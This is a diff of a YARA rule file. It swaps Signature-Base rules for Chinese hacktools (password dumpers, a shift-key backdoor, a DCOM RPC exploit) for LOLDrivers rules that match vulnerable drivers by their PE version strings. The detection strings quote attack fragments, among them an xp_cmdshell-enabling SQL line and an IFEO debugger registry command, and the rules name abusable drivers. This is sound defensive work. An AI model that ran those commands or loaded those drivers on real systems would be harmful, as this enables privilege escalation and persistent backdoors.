+		$ = { 00460069006c006500560065007200730069006f006e[1-8]00310030002e0030002e0030002e00360039 }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]00310030002e0030002e0030002e00360039 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]006e00670069006f006400720069007600650072002e007300790073 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]004100760061007300740020004e0047 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]006e00670069006f006400720069007600650072002e007300790073 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f007000790072006900670068007400200028006300290020003200300031003400200041005600410053005400200053006f006600740077006100720065 }
 
 	condition:
-		uint16(0)==0x5a4d and filesize <8000KB and 4 of them
+		uint16(0)==0x5a4d and filesize <100KB and all of them
 }
-rule SIGNATURE_BASE_HKTL_CN_Dos_Getpass : FILE
+rule LOLDRIVERS_PUA_VULN_Driver_Elaboratebytesag_Elbycdio_Cdrtools_7CF7 : FILE
 {
 	meta:
-		description = "Chinese Hacktool Set - file GetPass.exe"
-		author = "Florian Roth (Nextron Systems)"
-		id = "08635096-474c-5fdf-825e-6c7c8c8d4061"
-		date = "2015-06-13"
-		modified = "2023-01-06"
-		old_rule_name = "Dos_GetPass"
-		reference = "http://tools.zjqhr.com/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_cn_hacktools.yar#L811-L830"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "d18d952b24110b83abd17e042f9deee679de6a1a"
-		logic_hash = "ea1410984fb1f66422faa943f1f16873f4e0d5ff1afa68c2d28f36889e214a52"
-		score = 75
-		quality = 85
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - elbycdio.sys"
+		author = "Florian Roth"
+		id = "7114725c-9cca-53c3-8902-79d83386fef4"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L9672-L9691"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "7cf756afcaf2ce4f8fb479fdede152a17eabf4c5c7c329699dab026a4c1d4fd0"
+		logic_hash = "f6570bb8a690a21b67637f265f36dbe8a3adb63e30c025216c25df73099ad173"
+		score = 40
+		quality = 80
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s0 = "GetLogonS" ascii
-		$s3 = "/showthread.php?t=156643" ascii
-		$s8 = "To Run As Administ" ascii
-		$s18 = "EnableDebugPrivileg" fullword ascii
-		$s19 = "sedebugnameValue" fullword ascii
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0045006c0062007900430044002000570069006e0064006f00770073002000780036003400200049002f004f0020006400720069007600650072 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0045006c00610062006f0072006100740065002000420079007400650073002000410047 }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0036002c00200030002c00200030002c00200037 }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0036002c00200030002c00200030002c00200030 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0045006c00620079004300440049004f }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0043004400520054006f006f006c0073 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0045006c00620079004300440049004f002e007300790073 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f00700079007200690067006800740020002800430029002000320030003000300020002d0020003200300030003700200045006c00610062006f0072006100740065002000420079007400650073002000410047 }
 
 	condition:
-		uint16(0)==0x5a4d and filesize <890KB and all of them
+		uint16(0)==0x5a4d and filesize <100KB and all of them
 }
-rule SIGNATURE_BASE_HKTL_CN_Update_Pcmain : FILE
+rule LOLDRIVERS_PUA_VULN_Driver_Sysinternalswwwsysinternalscom_Procexpsys_7795 : FILE
 {
 	meta:
-		description = "Chinese Hacktool Set - file PcMain.dll"
-		author = "Florian Roth (Nextron Systems)"
-		id = "24c9ba6f-0772-59c9-8bea-3a8bf7823e4c"
-		date = "2015-06-13"
-		modified = "2023-01-06"
-		old_rule_name = "update_PcMain"
-		reference = "http://tools.zjqhr.com/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_cn_hacktools.yar#L832-L858"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "aa68323aaec0269b0f7e697e69cce4d00a949caa"
-		logic_hash = "aa905379f65a8d964b921f2b74b61d94f97536466a7fc48f05c437d617cf35f6"
-		score = 90
-		quality = 85
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - procexp.Sys"
+		author = "Florian Roth"
+		id = "84866b07-19cc-5c75-acc3-7640adcf68e8"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L9694-L9713"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "77950e2a40ac0447ae7ee1ee3ef1242ce22796a157074e6f04e345b1956e143c"
+		logic_hash = "f59507fdf64c5eca6139f149595b9919704fead73d4e66c93630ca6cf9582a82"
+		score = 40
+		quality = 80
 		tags = "FILE"
 
 	strings:
-		$s0 = "User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.2; .NET CLR 1.1.4322" ascii
-		$s1 = "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\SvcHost" fullword ascii
-		$s2 = "SOFTWARE\\Classes\\HTTP\\shell\\open\\command" fullword ascii
-		$s3 = "\\svchost.exe -k " ascii
-		$s4 = "SYSTEM\\ControlSet001\\Services\\%s" fullword ascii
-		$s9 = "Global\\%s-key-event" fullword ascii
-		$s10 = "%d%d.exe" fullword ascii
-		$s14 = "%d.exe" fullword ascii
-		$s15 = "Global\\%s-key-metux" fullword ascii
-		$s18 = "GET / HTTP/1.1" fullword ascii
-		$s19 = "\\Services\\" ascii
-		$s20 = "qy001id=%d;qy001guid=%s" fullword ascii
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0020002000200020002000200020002000200020002000200020002000200020 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0053007900730069006e007400650072006e0061006c00730020002d0020007700770077002e0073007900730069006e007400650072006e0061006c0073002e0063006f006d }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]00310035002e00300030 }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]00310035002e00300030 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]00700072006f0063006500780070002e007300790073 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0020002000200020002000200020002000200020002000200020002000200020 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]00700072006f0063006500780070002e005300790073 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f007000790072006900670068007400200028004300290020004d00610072006b002000520075007300730069006e006f007600690063006800200031003900390036002d0032003000310034 }
 
 	condition:
-		uint16(0)==0x5a4d and filesize <500KB and 4 of them
+		uint16(0)==0x5a4d and filesize <100KB and all of them
 }
-rule SIGNATURE_BASE_HKTL_CN_Dos_Sys : FILE
+rule LOLDRIVERS_PUA_VULN_Driver_Sisoftware_Sandra_Sisoftwaresandra_B019 : FILE
 {
 	meta:
-		description = "Chinese Hacktool Set - file sys.exe"
-		author = "Florian Roth (Nextron Systems)"
-		id = "c4b740f2-f4f8-59ff-ad1f-c06718040b50"
-		date = "2015-06-13"
-		modified = "2023-01-06"
-		old_rule_name = "Dos_sys"
-		reference = "http://tools.zjqhr.com/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_cn_hacktools.yar#L860-L878"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "b5837047443f8bc62284a0045982aaae8bab6f18"
-		logic_hash = "3b3f55c45ebfe4ab6d8e6b06a3c452c84d4f755f984d913c683a49a8fd570d9d"
-		score = 75
-		quality = 85
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - SANDRA.sys"
+		author = "Florian Roth"
+		id = "4edbf604-a98c-5877-8385-eff85575daa4"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L9716-L9735"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "b019ebd77ac19cdd72bba3318032752649bd56a7576723a8ae1cccd70ee1e61a"
+		logic_hash = "1ef6c4c199fad08babe5f4484444c157dfcfea891f392682689cf2df34088179"
+		score = 40
+		quality = 80
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s0 = "'SeDebugPrivilegeOpen " fullword ascii
-		$s6 = "Author: Cyg07*2" fullword ascii
-		$s12 = "from golds7n[LAG]'J" fullword ascii
-		$s14 = "DAMAGE" fullword ascii
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]00530061006e006400720061002000440065007600690063006500200044007200690076006500720020002800570069006e003300320020007800380036002900280055006e00690063006f006400650029 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]005300690053006f006600740077006100720065 }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]00310030002e0037002e0031002e00310020006200750069006c0074002000620079003a002000570069006e00440044004b }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]00310030002e0037002e0031002e0031 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]00530041004e004400520041 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]005300690053006f006600740077006100720065002000530061006e006400720061 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]00530041004e004400520041 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000a90020005300690053006f0066007400770061007200650020004c0074006400200031003900390035002d0032003000300037002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e }
 
 	condition:
-		uint16(0)==0x5a4d and filesize <150KB and all of them
+		uint16(0)==0x5a4d and filesize <100KB and all of them
 }
-rule SIGNATURE_BASE_HKTL_CN_Dat_Xpf : FILE
+rule LOLDRIVERS_PUA_VULN_Driver_Advancedmicrodevicesinc_Amdpowerprofilersys_Amduprof_0AF5 : FILE
 {
 	meta:
-		description = "Chinese Hacktool Set - file xpf.sys"
-		author = "Florian Roth (Nextron Systems)"
-		id = "fe2de535-4f86-5c29-b67e-153423a897f7"
-		date = "2015-06-13"
-		modified = "2023-01-06"
-		old_rule_name = "dat_xpf"
-		reference = "http://tools.zjqhr.com/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_cn_hacktools.yar#L880-L897"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "761125ab594f8dc996da4ce8ce50deba49c81846"
-		logic_hash = "c46b10ef17a9fee2be15fc9cc8b8aeec94d656b86e7208e1ad1f5efcd95fddf5"
-		score = 75
-		quality = 85
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - AMDPowerProfiler.sys"
+		author = "Florian Roth"
+		id = "6475e885-711f-53ea-9ab6-cdb45b3a0917"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L9738-L9757"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "0af5ccb3d33a9ba92071c9637be6254030d61998733a5eb3583e865e17844e05"
+		logic_hash = "ac1fd75b411624e0f4cd6d455a61e1ac3c08d421182c4f9eb90698ee29eff77a"
+		score = 40
+		quality = 80
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s1 = "UnHook IoGetDeviceObjectPointer ok!" fullword ascii
-		$s2 = "\\Device\\XScanPF" wide
-		$s3 = "\\DosDevices\\XScanPF" wide
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0041004d004400200050006f007700650072002000500072006f00660069006c0069006e00670020004400720069007600650072 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0041006400760061006e0063006500640020004d006900630072006f00200044006500760069006300650073002c00200049006e0063002e }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0036002e0031002e0030002e0030 }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0033002e0034002e003400390033002e0030 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0041004d00440050006f00770065007200500072006f00660069006c00650072002e007300790073 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0041004d00440020007500500072006f0066 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0041004d00440050006f00770065007200500072006f00660069006c00650072002e007300790073 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]00a90020003200300032003100200041004d004400200049006e0063002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e }
 
 	condition:
-		uint16(0)==0x5a4d and filesize <25KB and all of them
+		uint16(0)==0x5a4d and filesize <100KB and all of them
 }
-rule SIGNATURE_BASE_HKTL_CN_Project1 : FILE
+rule LOLDRIVERS_PUA_VULN_Driver_Realtek_Rtkiosys_Realtekiodriver_074A : FILE
 {
 	meta:
-		description = "Chinese Hacktool Set - file Project1.exe"
-		author = "Florian Roth (Nextron Systems)"
-		id = "12cc7a82-d7a9-58c6-b283-3bb0df477cd8"
-		date = "2015-06-13"
-		modified = "2023-01-06"
-		old_rule_name = "Project1"
-		reference = "http://tools.zjqhr.com/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_cn_hacktools.yar#L899-L916"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "d1a5e3b646a16a7fcccf03759bd0f96480111c96"
-		logic_hash = "c26590f13a185eb42a27d27e6b5996f7fdf4d5c146fb74062686f356ec4db47d"
-		score = 75
-		quality = 85
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - rtkio.sys, rtkio64.sys, rtkiow8x64.sys, rtkiow10x64.sys"
+		author = "Florian Roth"
+		id = "2cb53106-382d-5645-a72c-28a64112bb47"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L9760-L9779"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "074ae477c8c7ae76c6f2b0bf77ac17935a8e8ee51b52155d2821d93ab30f3761"
+		logic_hash = "b76e7a17aa7da3d6a1972a40fbcaa4ca63edb4220b07d807ee54fea649b13a6d"
+		score = 40
+		quality = 80
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s1 = "EXEC master.dbo.sp_addextendedproc 'xp_cmdshell','xplog70.dll'" fullword ascii
-		$s2 = "Password.txt" fullword ascii
-		$s3 = "LoginPrompt" fullword ascii
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]005200650061006c00740065006b00200049004f0020004400720069007600650072 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]005200650061006c00740065006b00200020002000200020002000200020002000200020002000200020002000200020002000200020002000200020002000200020002000200020002000200020002000200020002000200020002000200020002000200020 }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e003000300036002e0030003100310038002e00320030003100370020006200750069006c0074002000620079003a002000570069006e00440044004b }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e003000300036002e0030003100310038002e0032003000310037 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]00720074006b0069006f00360034002e0073007900730020 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]005200650061006c00740065006b00200049004f00200044007200690076006500720020002000200020002000200020002000200020002000200020002000200020002000200020002000200020 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]00720074006b0069006f00360034002e0073007900730020 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f00700079007200690067006800740020002800430029002000320030003100370020005200650061006c00740065006b002000530065006d00690063006f006e0064007500630074006f007200200043006f00720070006f0072006100740069006f006e002e00200041006c006c002000520069006700680074002000520065007300650072007600650064002e002000200020002000200020002000200020002000200020 }
 
 	condition:
-		uint16(0)==0x5a4d and filesize <5000KB and all of them
+		uint16(0)==0x5a4d and filesize <100KB and all of them
 }
-rule SIGNATURE_BASE_Arp_EMP_V1_0 : FILE
+rule LOLDRIVERS_PUA_VULN_Driver_Msi_Ntiolibsys_Ntiolib_98B7 : FILE
 {
 	meta:
-		description = "Chinese Hacktool Set - file Arp EMP v1.0.exe"
-		author = "Florian Roth (Nextron Systems)"
-		id = "b2552f26-47ac-5fa0-941e-d674f9deccac"
-		date = "2015-06-13"
-		modified = "2023-12-05"
-		reference = "http://tools.zjqhr.com/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_cn_hacktools.yar#L918-L931"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "ae4954c142ad1552a2abaef5636c7ef68fdd99ee"
-		logic_hash = "e46b0f730945dad3c75b6865f30005f4d5fa09c53e3a27c275ca22da9cc89e8d"
-		score = 75
-		quality = 85
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - NTIOLib.sys"
+		author = "Florian Roth"
+		id = "f827cf5e-23c7-5db8-9949-14382788bbdd"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L9782-L9801"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "98b734dda78c16ebcaa4afeb31007926542b63b2f163b2f733fa0d00dbb344d8"
+		logic_hash = "db97be0a54fc813022a609ffdabe0e0cff306ef894c560f75a43a4aa890590d5"
+		score = 40
+		quality = 80
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s0 = "Arp EMP v1.0.exe" fullword wide
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]004e00540049004f004c0069006200200066006f0072002000440065006200750067004c00450044 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]004d00530049 }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e0030002e0030002e0030 }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e0030002e0030002e0030 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]004e00540049004f004c00690062002e007300790073 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]004e00540049004f004c00690062 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]004e00540049004f004c00690062002e007300790073 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f00700079007200690067006800740020002800430029002000320030003100330020004d00530049002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e }
 
 	condition:
-		uint16(0)==0x5a4d and filesize <800KB and all of them
+		uint16(0)==0x5a4d and filesize <100KB and all of them
 }
-rule SIGNATURE_BASE_CN_Tools_Myupnp : FILE
+rule LOLDRIVERS_PUA_VULN_Driver_Novellinc_Novellxtierforwindows_V_7A2C : FILE
 {
 	meta:
-		description = "Chinese Hacktool Set - file MyUPnP.exe"
-		author = "Florian Roth (Nextron Systems)"
-		id = "394e19d3-882e-5a7c-a3a0-e662bd67955c"
-		date = "2015-06-13"
-		modified = "2023-12-05"
-		reference = "http://tools.zjqhr.com/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_cn_hacktools.yar#L933-L948"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "15b6fca7e42cd2800ba82c739552e7ffee967000"
-		logic_hash = "0bdd0d98dc5218bbe799e5e510c5f27d74a1ef398b09962f4267f846088f726e"
-		score = 75
-		quality = 85
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - nicm.sys"
+		author = "Florian Roth"
+		id = "eae98a64-3478-55fc-b839-7a1ec0f1521d"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L9804-L9822"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "7a2cd1dc110d014165c001ce65578da0c0c8d7d41cc1fa44f974e8a82296fc25"
+		logic_hash = "01badc48c33814577b1a6000b4ff46473b48f85d8f8e8d6071d26b81d3cde22d"
+		score = 40
+		quality = 80
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s1 = "<description>BYTELINKER.COM</description>" fullword ascii
-		$s2 = "myupnp.exe" fullword ascii
-		$s3 = "LOADER ERROR" fullword ascii
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]004e006f00760065006c006c00200043006c00690065006e007400200050006f00720074006100620069006c0069007400790020004c0061007900650072 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]004e006f00760065006c006c002c00200049006e0063002e }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0033002e0031002e0030002e0030 }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]00760033002e003100200028003200300030003600300038003000380029 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]004e006f00760065006c006c00200058005400690065007200200066006f0072002000570069006e0064006f00770073 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]004e00490043004d002e005300590053 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000a900200031003900390037002d00320030003000370020004e006f00760065006c006c002c00200049006e0063002e }
 
 	condition:
-		uint16(0)==0x5a4d and filesize <1500KB and all of them
+		uint16(0)==0x5a4d and filesize <100KB and all of them
 }
-rule SIGNATURE_BASE_CN_Tools_Shiell : FILE
+rule LOLDRIVERS_PUA_VULN_Driver_Zemanaltd_Zam_9A95 : FILE
 {
 	meta:
-		description = "Chinese Hacktool Set - file Shiell.exe"
-		author = "Florian Roth (Nextron Systems)"
-		id = "7ac7d79d-3f4e-54e7-bb97-ce94cbbb40a2"
-		date = "2015-06-13"
-		modified = "2023-12-05"
-		reference = "http://tools.zjqhr.com/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_cn_hacktools.yar#L950-L966"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "b432d80c37abe354d344b949c8730929d8f9817a"
-		logic_hash = "44c494c24c090b21c3c201d57f910e8f4d5132a863715a090fa1e18c9d349d48"
-		score = 75
-		quality = 85
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - zam64.sys, zamguard32.sys, zamguard64.sys"
+		author = "Florian Roth"
+		id = "de7c3f85-1101-58c2-882b-e7e59d95fdd8"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L9825-L9841"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "9a95a70f68144980f2d684e96c79bdc93ebca1587f46afae6962478631e85d0c"
+		logic_hash = "3b699e2afa7e4c4284d725cc159b46a609e4020703bc0efc7ba6563084d67f0e"
+		score = 40
+		quality = 80
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s1 = "C:\\Users\\Tong\\Documents\\Visual Studio 2012\\Projects\\Shift shell" ascii
-		$s2 = "C:\\Windows\\System32\\Shiell.exe" fullword wide
-		$s3 = "Shift shell.exe" fullword wide
-		$s4 = "\" /v debugger /t REG_SZ /d \"" fullword wide
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]005a0041004d }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]005a0065006d0061006e00610020004c00740064002e }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0032002e00310036002e003200380037 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]005a0041004d }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]005a0065006d0061006e00610020004c00740064002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e }
 
 	condition:
-		uint16(0)==0x5a4d and filesize <1500KB and 2 of them
+		uint16(0)==0x5a4d and filesize <200KB and all of them
 }
-rule SIGNATURE_BASE_Cndcom_Cndcom : FILE
+rule LOLDRIVERS_PUA_VULN_Driver_Intelcorporation_Iqvwsys_Intelriqvwsys_19BF : FILE
 {
 	meta:
-		description = "Chinese Hacktool Set - file cndcom.exe"
-		author = "Florian Roth (Nextron Systems)"
-		id = "b1acfe34-03b8-5909-a226-3325fe8629ab"
-		date = "2015-06-13"
-		modified = "2023-12-05"
-		reference = "http://tools.zjqhr.com/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_cn_hacktools.yar#L968-L988"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "08bbe6312342b28b43201125bd8c518531de8082"
-		logic_hash = "226be7ea7b09b2b87eeec006c8054b9fb59eb8324def14a4a0db97f94fb39d62"
-		score = 75
-		quality = 85
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - iQVW64.SYS"
+		author = "Florian Roth"
+		id = "4e733353-21f8-5a32-b735-fccd3ffba831"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L9844-L9863"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "19bf0d0f55d2ad33ef2d105520bde8fb4286f00e9d7a721e3c9587b9408a0775"
+		logic_hash = "b05c520a5816f2dc7a35319f7f5d11001c5d64cdee479e213ac95950acf26bfc"
+		score = 40
+		quality = 80
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s1 = "- Rewritten by HDM last <hdm [at] metasploit.com>" fullword ascii
-		$s2 = "- Usage: %s <Target ID> <Target IP>" fullword ascii
-		$s3 = "- Remote DCOM RPC Buffer Overflow Exploit" fullword ascii
-		$s4 = "- Warning:This Code is more like a dos tool!(Modify by pingker)" fullword ascii
